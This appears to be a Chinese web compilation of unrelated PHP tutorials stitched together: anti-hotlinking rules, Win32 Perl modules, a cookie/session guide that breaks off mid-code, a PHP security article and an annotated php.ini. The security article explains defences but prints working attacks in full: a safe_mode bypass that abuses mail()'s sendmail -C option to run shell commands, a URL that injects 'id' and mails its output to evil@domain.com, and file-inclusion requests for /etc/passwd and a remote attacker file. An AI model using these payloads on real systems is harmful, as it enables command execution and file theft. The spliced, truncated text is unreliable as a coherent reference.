PHP如何禁止图片文件的被盗链

1、假设充许连结图片的主机域名为:www.test.com
 
2、修改httpd.conf
 
 SetEnvIfNoCase Referer "^http://www.test.com/" local_ref=1
<FilesMatch ".(gif|jpg)">
Order Allow,Deny
Allow from env=local_ref
</FilesMatch> 
 
这个简单的应用不光可以解决图片盗链的问题,稍加修改还可以防止任意文件盗链下载的问题。
使用以上的方法当从非指定的主机连结图片时,图片将无法显示,如果希望显示一张“禁止盗链”的图片,我们可以用mod_rewrite 来实现。
 
首先在安装 apache 时要加上 --enable-rewrite 参数加载 mod_rewrite 模组。
假设“禁止盗链”的图片为abc.gif,我们在 httpd.conf 中可以这样配置:
 
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?test.com /.*$ [NC]
RewriteRule .(gif|jpg)$ http://www.test.com/abc.gif [R,L] 
 
当主机的图片被盗链时,只会看到 abc.gif 这张“禁止盗链”的图片!
一段防盗连的PHP代码
[language=PHP]
<?php
$ADMIN[defaulturl] = "http://www.163.com/404.htm";//盗链返回的地址
$okaysites = array("http://www.163.com/","http://163.com"); //白名单
$ADMIN[url_1] = "http://www.163.com/download/";//下载地点1
$ADMIN[url_2] = "";//下载地点2,以此类推
$reffer = $HTTP_REFERER;
if($reffer) {
$yes = 0;
while(list($domain, $subarray) = each($okaysites)) {
if (ereg($subarray,"$reffer")) {
$yes = 1;
}
}
$theu = "url"."_"."$site";
if ($ADMIN[$theu] AND $yes == 1) {
header("Location: $ADMIN[$theu]/$file");
} else {
header("Location: $ADMIN[defaulturl]");
}
} else {
header("Location: $ADMIN[defaulturl]");
}
?>
[/language]
使用方法:将上述代码保存为dao4.php

让Win32程序员更轻松的10个Perl模块

Windows特有Perl 模块的Perl档案库网络(CPAN)内容能够让很多人觉得满意。Windows用户喜欢它,因为它允许用户在Windows开发环境下高效而快速地开展相当复杂的工作。开源程序员喜欢它,因为相对于其他操作系统,Perl具有超强的兼容性。简言之,人人都喜欢。

 

这就是不管你站在那边,都有理由阅读它的原因。在文档中,我编制Perl模块目录,以便于在Win32 Perl编程中快速查阅。(见表A)如果你是个希望操纵Windows世界的Perl程序员,则应该将它们添加到工具箱中。

注意:可以直接从网络上安装CPAN模块。

 

 

表A

 





































包名

描述

Win32API::Registry

这个模块提供与Windows注册相关的Win32 API调用接口,允许读写注册值,创建删除注册键值、查询键值和从磁盘加载注册信息。

 

在需要读写Windows注册信息时使用此模块。

Win32::OLE

此模块允许通过使用OLE(对象连接和嵌入)的Perl脚本控制Win32应用程序。OLE对象参考与目标OLE类相关,并且可以通过Perl访问OLE类的方法。

 

在需要适应的OLE应用程序的界面时,例如Microsoft Office,使用此模块。

Win32::Internet

此模块提供访问WININET.DLL中库函数功能,在Windows中管理HTTP和FTP连接尤其实用。

 

当Perl程序需要与网络连接、URLs和FTP,HTTP发生作用时使用此模块。

Win32::Process::Info

此模块使得访问Windows进程信息变得容易。它提供了找回进程和子进程标记部分和获得详细进程信息的函数,注意它不允许杀死已有的进程。

 

在需要找回或监视当前进程表的时候使用此模块

Win32::Clipboard

此模块提供了Windows剪切板的优美接口。允许读剪切板中的内容,向剪切板上添加新信息或“等待”操作。

 

当需要使用剪切板在Windows和Perl应用程序之间转换数据或者显示当前剪切板内容时,使用此模块。

Win32::Service

此模块提供了与Windows服务管理器相互作用的函数,可以开始或停止Windows服务。

 

当需要开始或停止Windows服务时(例如,安装程序),使用此模块。

Win32::FileOp

此模块为许多Windows特有的文件操作提供API,这些文件操作包括:向Recycle Bin中移动文件,与Recent Documents作用,编辑INI文件,打开和关闭对话框和使用ShellExecute方法执行默认文件操作。

 

当需要快速执行不同的Windows特有的操作时使用此模块。

Win32::Pipe

此模块允许向Win32Perl程序中添加已命名的pipes.

 

当需要在应用程序和Perl服务后台程序中建立客户机-服务器连接时,使用此模块。

Win32::DriveInfo

此模块可以获得驱动器、文件系统、已用磁盘空间和Windows驱动器字符的广泛信息

 

在需要与Windows文件系统相互作用:得到可用驱动器字符、计算可用和已用磁盘空间或显示驱动器属性时,使用此模块。

Log::Dispatch::Win32EventLog

此模块提供与Windows事件日志相互作用的API。它允许注册事件和应用程序,将它们与特有日志联系和向日志中添加新信息。

 

使用此模块记录错误信息和使用Windows事件跟踪




Modified At 2008-06-04 13:35:58

动态网页技术PHP关于cookie和session的分析

1. PHP的COOKIE
cookie 是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。
PHP在http协议的头信息里发送cookie, 因此 setcookie() 函数必须在其它信息被输出到浏览器前调用,这和对 header() 函数的限制类似。
1.1 设置cookie:
    可以用 setcookie() 或 setrawcookie() 函数来设置 cookie。也可以通过向客户端直接发送http头来设置.
1.1.1 使用setcookie()函数设置cookie:
bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure [, bool httponly]]]]]] )
     name:   cookie变量名
     value:   cookie变量的值
     expire:  有效期结束的时间,
     path:    有效目录,
     domain: 有效域名,顶级域唯一
     secure:  如果值为1,则cookie只能在https连接上有效,如果为默认值0,则http和https都可以.
例子:
<?php
$value = 'something from somewhere';
setcookie("TestCookie", $value); /* 简单cookie设置 */
setcookie("TestCookie", $value, time()+3600); /* 有效期1个小时 */
setcookie("TestCookie", $value, time()+3600, "/~rasmus/", ".example.com", 1); /* 有效目录 /~rasmus,有效域名example.com及其所有子域名 */
?>
设置多个cookie变量: setcookie('var[a]','value');用数组来表示变量,但他的下标不用引号.这样就可以用$_COOKIE[‘var’][‘a’]来读取该COOKIE变量.
1.1.2. 使用header()设置cookie;
header("Set-Cookie: name=$value[;path=$path[;domain=xxx.com[;...]]");
后面的参数和上面列出setcookie函数的参数一样.
比如:
$value = 'something from somewhere';
header("Set-Cookie:name=$value");
1.2 Cookie的读取:
直接用php内置超级全局变量 $_COOKIE就可以读取浏览器端的cookie.
上面例子中设置了cookie"TestCookie",现在我们来读取:
print $_COOKIE['TestCookie'];
COOKIE是不是被输出了?!
1.3 删除cookie
只需把有效时间设为小于当前时间, 和把值设置为空.例如:
setcookie("name","",time()-1);
用header()类似.
1.4 常见问题解决:
1) 用setcookie()时有错误提示,可能是因为调用setcookie()前面有输出或空格.也可能你的文档使从其他字符集转换过来,文档后面可能带有BOM签名(就是在文件内容添加一些隐藏的BOM字符).解决的办法就是使你的文档不出现这种情况.还有通过使用ob_start()函数有也能处理一点.
2) $_COOKIE受magic_quotes_gpc影响,可能自动转义
3) 使用的时候,有必要测试用户是否支持cookie
<!--[if !supportLineBreakNewLine]-->
1.5 cookie工作机理:
有些学习者比较冲动,没心思把原理研究,所以我把它放后面.
a) 服务器通过随着响应发送一个http的Set-Cookie头,在客户机中设置一个cookie(多个cookie要多个头).
b) 客户端自动向服务器端发送一个http的cookie头,服务器接收读取.
HTTP/1.x 200 OK
X-Powered-By: PHP/5.2.1
Set-Cookie: TestCookie=something from somewhere; path=/
Expires: Thu, 19 Nov 2007 18:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
这一行实现了cookie功能,收到这行后
Set-Cookie: TestCookie=something from somewhere; path=/
浏览器将在客户端的磁盘上创建一个cookie文件,并在里面写入:
TestCookie=something from somewhere;
/
这一行就是我们用setcookie('TestCookie','something from somewhere','/');的结果.也就是用header('Set-Cookie: TestCookie=something from somewhere; path=/');的结果.
<!--[endif]-->
2. PHP的Session
session使用过期时间设为0的cookie,并且将一个称为session ID的唯一标识符(一长串字符串),在服务器端同步生成一些session文件(可以自己定义session的保存类型),与用户机关联起来.web应用程序存贮与这些session相关的数据,并且让数据随着用户在页面之间传递.
访问网站的来客会被分配一个唯一的标识符,即所谓的会话 ID。它要么存放在客户端的 cookie,要么经由 URL 传递。
会话支持允许用户注册任意数目的变量并保留给各个请求使用。当来客访问网站时,PHP 会自动(如果 session.auto_start 被设为 1)或在用户请求时(由 session_start() 明确调用或 session_register() 暗中调用)检查请求中是否发送了特定的会话 ID。如果是,则之前保存的环境就被重建。
2.1 sessionID的传送
2.1.1 通过cookie传送sessin ID
     使用session_start()调用session,服务器端在生成session文件的同时,生成session ID哈希值和默认值为PHPSESSID的session name,并向客户端发送变量为(默认的是)PHPSESSID(session name),值为一个128位的哈希值.服务器端将通过该cookie与客户端进行交互.
   session变量的值经php内部系列化后保存在服务器机器上的文本文件中,和客户端的变量名默认情况下为PHPSESSID的coolie进行对应交互.
     即服务器自动发送了http头:header('Set-Cookie: session_name()=session_id(); path=/');
即setcookie(session_name(),session_id());
    当从该页跳转到的新页面并调用session_start()后,PHP将检查与给定ID相关联的服务器端存贮的session数据,如果没找到,则新建一个数据集.
2.1.2 通过URL传送session ID
只有在用户禁止使用cookie的时候才用这种方法,因为浏览器cookie已经通用,为安全起见,可不用该方法.
<a href="p.php?<?php print session_name() ?>=<?php print session_id() ?>">xxx</a>,也可以通过POST来传递session值.
2.2 session基本用法实例
<?php
// page1.php
session_start();
echo 'Welcome to page #1';
/* 创建session变量并给session变量赋值 */
$_SESSION['favcolor'] = 'green';
$_SESSION['animal'] = 'cat';
$_SESSION['time'] = time();
// 如果客户端使用cookie,可直接传递session到page2.php
echo '<br /><a href="page2.php">page 2</a>';
// 如果客户端禁用cookie
echo '<br /><a href="page2.php?' . SID . '">page 2</a>';
/*
 默认php5.2.1下,SID只有在cookie被写入的同时才会有值,如果该session
 对应的cookie已经存在,那么SID将为(未定义)空
 */
?>
<?php
// page2.php
session_start();
print $_SESSION['animal']; // 打印出单个session
var_dump($_SESSION); // 打印出page1.php传过来的session值
?>
2.3 使用session函数控制页面缓存.
    很多情况下,我们要确定我们的网页是否在客户端缓存,或要设置缓存的有效时间,比如我们的网页上有些敏感内容并且要登录才能查看,如果缓存到本地了,可以直接打开本地的缓存就可以不登录而浏览到网页了.
使用session_cache_limiter('private');可以控制页面客户端缓存,必须在session_start()之前调用.
更多参数见http://blog.chinaunix.net/u/27731/showart.php?id=258087的客户端缓存控制.
     控制客户端缓存时间用 session_cache_expire(int);单位(s).也要在session_start()前调用.
    这只是使用session的情况下控制缓存的方法,我们还可以在header()中控制控制页面的缓存.
2.4 删除session
要三步实现.
<?php
session_destroy();                                      // 第一步: 删除服务器端session文件,这使用
setcookie(session_name(),'',time()-3600);  // 第二步: 删除实际的session:
$_SESSION = array();                                  // 第三步: 删除$_SESSION全局变量数组
?>
2.5 session在PHP大型web应用中的使用
对于访问量大的站点,用默认的session存贮方式并不适合,目前最优的方法是用数据库存取session.这时,函数bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )就是提供给我们解决这个问题的方案.
该函数使用的6个函数如下:
1.   bool open() 用来打开会话存储机制,
2.   bool close() 关闭会话存储操作.
3.  mixde read() 从存储中装在session数据时使用这个函数
4.   bool write() 将给定session ID的所有数据写到存储中
5.   bool destroy() 破坏与指定的会话ID相关联的数据
6.   bool gc()  对存储系统中的数据进行垃圾收集
例子见php手册session_set_save_handler() 函数.
如果用类来处理,用
session_set_save_handler(
    array('className','open'),
    array('className','close'),
    array('className','read'),
    array('className','write'),
    array('className','destroy'),
    array('className','gc'),
)
调用className类中的6个静态方法.className可以换对象就不用调用静态方法,但是用静态成员不用生成对象,性能更好.
2.6 常用session函数:
bool   session_start(void); 初始化session
bool   session_destroy(void): 删除服务器端session关联文件。
string session_id() 当前session的id
string session_name() 当前存取的session名称,也就是客户端保存session ID的cookie名称.默认PHPSESSID。
array  session_get_cookie_params() 与这个session相关联的session的细节.
string session_cache_limiter() 控制使用session的页面的客户端缓存
ini    session_cache_expire() 控制客户端缓存时间
bool   session_destroy()     删除服务器端保存session信息的文件
void   session_set_cookie_params ( int lifetime [, string path [, string domain [, bool secure [, bool httponly]]]] )设置与这个session相关联的session的细节
bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )定义处理session的函数,(不是使用默认的方式)
bool session_regenerate_id([bool delete_old_session]) 分配新的session id
2.7 session安全问题
攻击者通过投入很大的精力尝试获得现有用户的有效会话ID,有了会话id,他们就有可能能够在系统中拥有与此用户相同的能力.
因此,我们主要解决的思路是效验session ID的有效性.
<?php
if(!isset($_SESSION['user_agent'])){
    $_SESSION['user_agent'] = $_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'];
}
/* 如果用户session ID是伪造 */
elseif ($_SESSION['user_agent'] != $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) {
    session_regenerate_id();

php 安全

 
一、Web服务器安全
 
PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:
 
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
 
都是针对Win32平台,所以需要在chroot环境下调整好sendmail。
 
二、PHP本身问题 网管u家u.bitscn@com
 
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高.
 
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。
 
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
这将id执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:
#注意,下面这两个必须是不存在的,
或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。
 
三、PHP本身的安全配置
PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
 
如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
 
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:
 
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。
 
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
Options FollowSymLinks
php_admin_value safe_mode 1
重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:
safe_mode_gid = On
设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、ls -l这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
 
2、变量滥用
PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
 
3、文件打开
极易受攻击的代码片断:
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身:
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法:
如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:
php_admin_value open_basedir /usr/local/apache/htdocs
重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:
Warning: open_basedir restriction in effect.
File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题,前面已经讨论过了。
 
4、包含文件
极易受攻击的代码片断:
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:
allow_url_fopen = Off
重启apache
 
[PHP] 
; PHP还是一个不断发展的工具,其功能还在不断地删减 
; 而php.ini的设置更改可以反映出相当的变化, 
; 在使用新的PHP版本前,研究一下php.ini会有好处的 
;;;;;;;;;;;;;;;;;;; 
; 关于这个文件 ; 
;;;;;;;;;;;;;;;;;;; 
; 这个文件控制了PHP许多方面的观点.为了让PHP读取这个文件,它必须被命名为 
; 'php.ini'.PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC 
; 指明的路径;编译时指定的路径. 
; 在windows下,编译时的路径是Windows安装目录. 
; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代. 
; 该文件的语法非常简单.空白字符和用分号';'开始的行被简单地忽略(就象你可能 
; 猜到的一样). 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能 
; 有某种的意义. 
; 
; 指示被指定使用如下语法: 
; 指示标识符 = 值 
; directive = value 
; 指示标识符 是 *大小写敏感的* - foo=bar 不同于 FOO = bar. 
; 
; 值可以是一个字符串,一个数字,一个 PHP 常量 (如: E_ALL or M_PI), INI 常量中的 
; 一个 (On, Off, True, False, Yes, No and None) ,或是一个表达式 
; (如: E_ALL & ~E_NOTICE), 或是用引号括起来的字符串("foo").  
; 
; INI 文件的表达式被限制于位运算符和括号. 
; | bitwise OR 
; & bitwise AND 
; ~ bitwise NOT 
; ! boolean NOT 
; 
; 布尔标志可用 1, On, True or Yes 这些值置于开的状态. 
; 它们可用 0, Off, False or No 这些值置于关的状态. 
; 
; 一个空字符串可以用在等号后不写任何东西表示,或者用 None 关键字: 
; 
; foo = ; 将foo置为空字符串 
; foo = none ; 将foo置为空字符串 
; foo = "none" ; 将foo置为字符串'none' 
; 
; 如果你值设置中使用常量,而这些常量属于动态调入的扩展库(不是 PHP 的扩展,就是 
; Zend 的扩展),你仅可以调入这些扩展的行*之后*使用这些常量. 
; 
; 所有在 php.ini-dist 文件里设定的值与内建的默认值相同(这是说,如果 php.ini 
; 没被使用或者你删掉了这些行,默认值与之相同). 
;;;;;;;;;;;;;;;;;;;; 
; 语言选项 ; 
;;;;;;;;;;;;;;;;;;;; 
engine = On 
; 使 PHP scripting language engine(PHP 脚本语言引擎)在 Apache下有效. 
short_open_tag = On 
; 允许 <? 标识(这种简单表示). 仅有 <?php and <script> tags 将被识别. 
asp_tags = Off 
; 允许ASP-style <% %> tags 
precision = 14 
; 浮点类型数显示时的有效位数 
y2k_compliance = Off 
; 是否打开 2000年适应 (可能在非Y2K适应的浏览器中导致问题) 
output_buffering = Off 
; 输出缓存允许你甚至在输出正文内容之后发送 header(标头,包括cookies)行 
; 其代价是输出层减慢一点点速度.你可以使用输出缓存在运行时打开输出缓存, 
; 或者在这里将指示设为 On 而使得所有文件的输出缓存打开. 
output_handler = ; 你可以重定向你的脚本的所有输出到一个函数, 
; 那样做可能对处理或以日志记录它有用. 
; 例如若你将这个output_handler 设为"ob_gzhandler", 
; 则输出会被透明地为支持gzip或deflate编码的浏览器压缩. 
; 设一个输出处理器自动地打开输出缓冲. 
implicit_flush = Off 
; 强制flush(刷新)让PHP 告诉输出层在每个输出块之后自动刷新自身数据. 
; 这等效于在每个 print() 或 echo() 调用和每个 HTML 块后调用flush()函数. 
; 打开这项设置会导致严重的运行时冲突,建议仅在debug过程中打开. 
allow_call_time_pass_reference = On 
; 是否让强迫函数调用时按引用传递参数.这一方法遭到抗议, 
; 并可能在将来版本的PHP/Zend里不再支持. 
; 受到鼓励的指定哪些参数按引用传递的方法是在函数声明里. 
; 你被鼓励尝试关闭这一选项并确认你的脚本仍能正常工作,以保证在将来版本的语言里 
; 它们仍能工作.(你将在每次使用该特点时得到一个警告,而参数将按值而不是按引用 
; 传递). 
; Safe Mode 安全模式 
safe_mode = Off 
safe_mode_exec_dir = 
safe_mode_allowed_env_vars = PHP_ 
; ?Setting certain environment variables 
; ?may be a potential security breach. 
; 该指示包含用逗号分隔的前缀列表.安全模式中,用户仅可以替换 
; 以在此列出的前缀开头的环境变量的值. 
; 默认地,用户将仅能 设定以PHP_开头的环境变量,(如: PHP_FOO=BAR). 
; 注意: 如果这一指示为空,PHP 将让用户更改任意环境变量! 
safe_mode_protected_env_vars = LD_LIBRARY_PATH 
; 这条指示包含一个用逗号分隔的环境变量列表,那是最终用户将不能用putenv () 更改的. 
; 这些变量甚至在safe_mode_allowed_env_vars 设置为允许的情况下得到保护. 
disable_functions = 
; 这条指示让你可以为了安全的原因让特定函数失效. 
; 它接受一个用逗号分隔的函数名列表. 
; 这条指示 *不受* 安全模式是否打开的影响. 
; 语法高亮模式的色彩. 
; 只要能被<font color=???>接受的东西就能工作. 
highlight.string = #DD0000 
highlight.comment = #FF8000 
highlight.keyword = #007700 
highlight.bg = #FFFFFF 
highlight.default = #0000BB 
highlight.html = #000000 
; Misc 杂项 
expose_php = Off  
; 决定 PHP 是否标示它装在服务器上的事实(例如:加在它 —PHP—给Web服务 
; 发送的信号上). 
; (我个人的意见,在出现什么power-by的header的时候,把这关掉.) 
; 它不会有安全上的威胁, 但它使检查你的服务器上是否安装了PHP成为了可能. 
;;;;;;;;;;;;;;;;;;; 
; Resource Limits ; 
;;;;;;;;;;;;;;;;;;; 
max_execution_time = 30 ; 每个脚本的最大执行时间, 按秒计 
memory_limit = 8388608 ; 一个脚本最大可使用的内存总量 (这里是8MB) 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; Error handling and logging ; 
; 出错控制和登记 ; 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; 
; 错误报告是按位的.或者将数字加起来得到想要的错误报告等级. 
; E_ALL - 所有的错误和警告 
; E_ERROR - 致命性运行时错 
; E_WARNING - 运行时警告(非致命性错) 
; E_PARSE - 编译时解析错误 
; E_NOTICE - 运行时提醒(这些经常是是你的代码的bug引起的, 
;也可能是有意的行为造成的.(如:基于未初始化的变量自动初始化为一个 
;空字符串的事实而使用一个未初始化的变量) 
; E_CORE_ERROR - 发生于PHP启动时初始化过程中的致命错误 
; E_CORE_WARNING - 发生于PHP启动时初始化过程中的警告(非致命性错) 
; E_COMPILE_ERROR - 编译时致命性错 
; E_COMPILE_WARNING - 编译时警告(非致命性错) 
; E_USER_ERROR - 用户产生的出错消息 
; E_USER_WARNING - 用户产生的警告消息 
; E_USER_NOTICE - 用户产生的提醒消息 
; 例子: 
; error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ; 仅显示错误 
error_reporting = E_ALL & ~E_NOTICE ; 显示所有的错误,除了提醒 
display_errors = On ; 显示出错误信息(作为输出的一部分) 
; 在最终发布的web站点上,强烈建议你关掉这个特性,并使用 
; 错误日志代替(参看下面). 
; 在最终发布的web站点继续让 display_errors 有效可能 
; 暴露一些有关安全的信息,例如你的web服务上的文件路径、 
; 你的数据库规划或别的信息. 
display_startup_errors = Off ; 甚至当display_erroes打开了,发生于PHP的启动的步骤中 
; 的错误也不会被显示. 
; 强烈建议保持使 display_startup_errors 关闭, 
; 除了在改错过程中. 
log_errors = Off ; 在日志文件里记录错误(服务器指定的日志,stderr标准错误输出,或error_log(下面的)) 
; 正如上面说明的那样,强烈建议你在最终发布的web站点以日志记录错误 
; 取代直接错误输出. 
track_errors = Off ; 保存最近一个 错误/警告 消息于变量 $php_errormsg (boolean) 
;error_prepend_string = "<font color=ff0000>" ; 于错误信息前输出的字符串 
;error_append_string = "</font>" ; 于错误信息后输出的字符串 
;error_log = filename ; 记录错误日志于指定文件 
;error_log = syslog ; 记录错误日志于系统日志 syslog (NT 下的事件日志, Windows 95下无效) 
warn_plus_overloading = Off ; 当将‘+’用于字符串时警告 
